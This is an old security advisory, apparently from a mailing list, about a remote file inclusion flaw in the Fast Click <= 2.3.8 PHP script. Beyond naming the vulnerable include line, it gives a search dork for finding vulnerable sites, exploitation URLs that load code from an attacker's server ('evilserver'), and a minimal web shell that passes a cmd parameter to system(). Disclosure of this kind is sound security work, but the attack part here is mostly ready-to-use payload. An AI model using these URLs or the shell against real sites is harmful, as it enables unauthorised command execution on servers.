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Fast Click <= 2.3.8 Remote File Inclusion

Aminraydenyahoo.com
Date: Tue May 02 2006 - 14:09:21 CDT


Fast Click <= 2.3.8 Remote File Inclusion
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Aria-security.com advisory
Bug Discovered by R1D3N (amin emami)
email:AminRaydenyahoo.com and raydenaria-security.net
Date:02/05/2006
original advisory:http://www.aria-security.net/advisory/fc/fastclick.txt
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Affected software description:
Fast Click <= 2.3.8
Vendor:http://www.ftrain.siteburg.com/fclicksqlpro/fclick.php?fclick
Vulnerability: remote file inclusion
Dork:inurl:"fclick.php?fid"
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Disscution:
The problem exists is in the files "show.php" and "top.php" when include the
variable $Path
Vulnerable Code:
include($path."cfg.php")

Exploitation example:
http://[target].com/[path]/show.php?path=http://evilserver/cmd.gif?&cmd=uname -a
http://[target].com/[path]/top.php?path=http://evilserver/cmd.gif?&cmd=uname -a

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cmd.gif
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<?
system($cmd);
?>
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* Fix *:
 
Contact the Vendor

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